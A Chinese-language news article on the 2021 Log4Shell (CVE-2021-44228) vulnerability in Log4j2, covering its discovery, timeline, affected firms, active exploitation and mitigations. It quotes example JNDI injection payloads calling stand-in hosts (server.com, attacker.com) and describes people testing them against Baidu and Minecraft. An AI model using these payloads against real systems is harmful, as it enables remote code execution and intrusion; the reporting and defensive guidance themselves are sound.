中國程式設計師搶先預警「史詩」級漏洞,一句話拿捏全球伺服器!席捲蘋果特斯拉


新智元報道

編輯:技術組
【新智元導讀】開源專案的一個漏洞能有多大威力?前幾天,Java的一個日誌庫Log4j2被曝出存在高危漏洞,各路大廠無一倖免,程式設計師被迫週五熬夜搶修。
2021年11月24日,阿里雲安全團隊依然像往常一樣進行著漏洞的篩查工作。
讓人沒想到的是,團隊成員之一的Chen Zhaojun一鏟子下去,就挖出了一個「過去十年來影響最大、最嚴重的漏洞」——Log4Shell。

藉著這個漏洞,攻擊者只需要提交一個字串就能訪問對方的伺服器,甚至還能在裡面上傳執行任何程式碼!
結果就是,12月10號,本來已經在準備過週末的大廠程式設計師們,都起來通宵加班處理漏洞了。
這個漏洞波及了多少大廠呢?
由於Log4j2這個庫實在是太受歡迎了,所以包括蘋果、Tesla、亞馬遜、Cloudflare、ElasticSearch、Red Hat、Twitter、Steam、百度、網易、騰訊等大廠都會受到影響。
可能,還有數百家甚至數千家其他組織也會受到影響。
一些資訊保安研究人員預計,未來幾天網際網路上對伺服器的攻擊會大幅增加。
驚魂一刻
11月24,開源專案Apache Log4j2的一個遠端程式碼執行漏洞被提交。
12月7日上午,Apache釋出了2.15.0-rc1版本更新。
12月9日晚,漏洞的利用細節被公開,影響範圍幾乎橫跨整個版本(從2.0到2.14.1-rc1)。
當大家紛紛升級到2.15.0-rc1之後發現,該補丁依然可以被繞過。
12月10日凌晨2點半左右,Apache Log4j2緊急更新了2.15.0-rc2版本。
此時,各個大廠也幾乎都在熬夜搶修。
據火絨不完全統計,僅在Github上,就有60644個開源專案釋出的321094軟體包存在風險,這一漏洞可以說是影響了網際網路上70%以上企業系統的正常運轉。
Java開發框架中,受到Log4j2的影響Top10(來源:火絨安全)
這一漏洞名為CVE-2021-44228,也叫Log4Shell或LogJam,是一個遠端程式碼執行(RCE)類漏洞,存在於一個「數百萬」應用程式都在使用的開源Java日誌庫Log4j2中。
由於Java應用程式通常會記錄各種各樣的事件,例如使用者傳送和接收的訊息,或者系統錯誤的詳細資訊,因此該漏洞可以透過多種方式觸發。
而這一漏洞最危險的地方是它太容易被攻擊者利用了,即使是毫無經驗的普通人也可以利用這個漏洞成功執行攻擊。
攻擊者只需傳送一則特殊的訊息到伺服器(包含類似${jndi:ldap://server.com/a}的字串),就可以執行任意的程式碼,並有可能完全控制該系統。
據阿里的@程式設計師子悠介紹,伺服器會透過Log4j2記錄攻擊者傳送的請求匯中包含的基於JNDI和LDAP的惡意負載${jndi:ldap://http://attacker.com/},其中,http://attacker.com是攻擊者控制的地址。
當伺服器透過JNDI向http://server.com請求,觸發惡意負載之後,http://attacker.com就可以在響應中新增任何可執行指令碼,注入到伺服器程序中。
於是,上個週末,大大小小公司的安全團隊都在爭先恐後地修補Log4Shell漏洞,晚一秒,就有可能讓駭客危及網際網路上數百萬臺裝置。
而駭客們也沒閒著,安全服務商imperva當天就監控到了140多萬次針對CVE-2021-44228的攻擊。
紐西蘭計算機應急響應小組(CERT)、德國電信(Deutsche Telekom)和Greynoise的網路監控服務都發出了警告:「攻擊者已經在積極利用這個漏洞」。
根據Greynoise的說法,大約100個不同的主機正在大規模地尋找利用Log4j2漏洞的方法。
很快,多家資訊保安新聞機構都報道了這個在Apache Log4j2庫中發現的,CVSS嚴重程度為10級的關鍵漏洞CVE-2021-44228。
阿里雲安全團隊在12月10日釋出公告。
https://help.aliyun.com/noticelist/articleid/1060971232.html
國家網際網路應急中心12月10日釋出公告。
https://www.cert.org.cn/publish/main/9/2021/20211210110550958546708/20211210110550958546708_.html
美國國家計算機通用漏洞資料庫12月10日釋出公告。
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
Apache基金會也迅速回應,建議所有開發人員能升級就升級,將手頭上使用到的Log4j2庫更新到2.15.0版本,如果因為一些原因升不了級,就使用Apache Log4j2安全漏洞頁面中描述的方法進行撲救。
12月12號,有網友反映銀行的程式都不能用了,推測可能正在加班加點排查,看來波及範圍確實挺大的。
這下程式設計師們要哭了,紛紛吐槽:
「連夜搶修」
「忙活大半天」
復現漏洞
國民級搜尋引擎百度首先遭到了廣大網友的暴力測試!
漏洞剛曝光時,如果在百度搜索框中輸入命令,然後在dnslog中就可以發現訪問資訊,隨後開發人員也是緊急修復了這個漏洞。
接著,網友又攻破了一向以安全性著稱的蘋果。
Minecraft也同樣慘遭毒手。
由於Minecraft在軟體中也採用了Log4j2,而且使用範圍很廣,這就導致了除Mohist 1.18外,Minecraft全版本所有系列的服務端全部處於高風險狀態。
這樣一來,在聊天欄輸入命令就可以在遊戲中作弊。
對於Minecraft服主來說,當前最該做的就是立即關閉伺服器,並進行升級和緊急修復,普通玩家則需要等待,直到伺服器確認修復完成。
解決方案
根據360的建議,使用者可以進行如下操作。

常規方案

使用了Apache Log4j2的使用者,請將程式更新至官方最新安全版本(2.15.0-rc2)。下載地址:
https://github.com/apache/logging-Log4j22/releases/tag/Log4j2-2.15.0-rc2

臨時應急方案

修改Log4j2配置:
Log4j22.formatMsgNoLookups=True
設定JVM啟動引數:
-DLog4j22.formatMsgNoLookups=true
設定環境變數:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS值為true

可以提高安全性的周邊設定

以下設定或操作可能會對防護此次安全事件起到作用,但無法確保安全。建議結合實際應用場景進行配置:
  1. 使用盡可能更高版本的JDK
  2. 使用rasp阻斷lookup的呼叫
  3. 使用waf對流量中的${jndi進行攔截
  4. 禁止所有不必要的外連資料。
開源專案的風險
Log4j2的安全事故一出,不禁讓廣大使用者重新開始懷疑:開源軟體是否真的安全?
一方面大家覺得開源軟體嘛,程式碼都拿到手了,在遵照開源協議的情況下,基本就是白嫖。
另一方面,覺得有這麼多人都在盯著這份程式碼,肯定不會出bug,不然一定會有人提issue修復的。在不花錢的情況下,又指望它有企業級的維護支援與安全性保障。
殊不知,大部分開源軟體都是作者利用業餘時間開發的,為開源社群貢獻程式碼的驅動力全部來自於star和「用愛發電」。
也正是因為免費,一些開源軟體的受眾規模特別大,從小公司到千億市值的企業都在使用,如果一旦出了漏洞,那後果將不堪設想。
所以,開源有風險,使用需謹慎!
參考資料:
https://www.lunasec.io/docs/blog/Log4j2-zero-day/
https://twitter.com/MalwareTechBlog/status/1469289471463944198
http://jandan.net/p/109993
https://www.zhihu.com/question/504954921/answer/2265750721
https://mp.weixin.qq.com/s/I2UxrqGEC05NA4wsGRkzkw

閱讀原文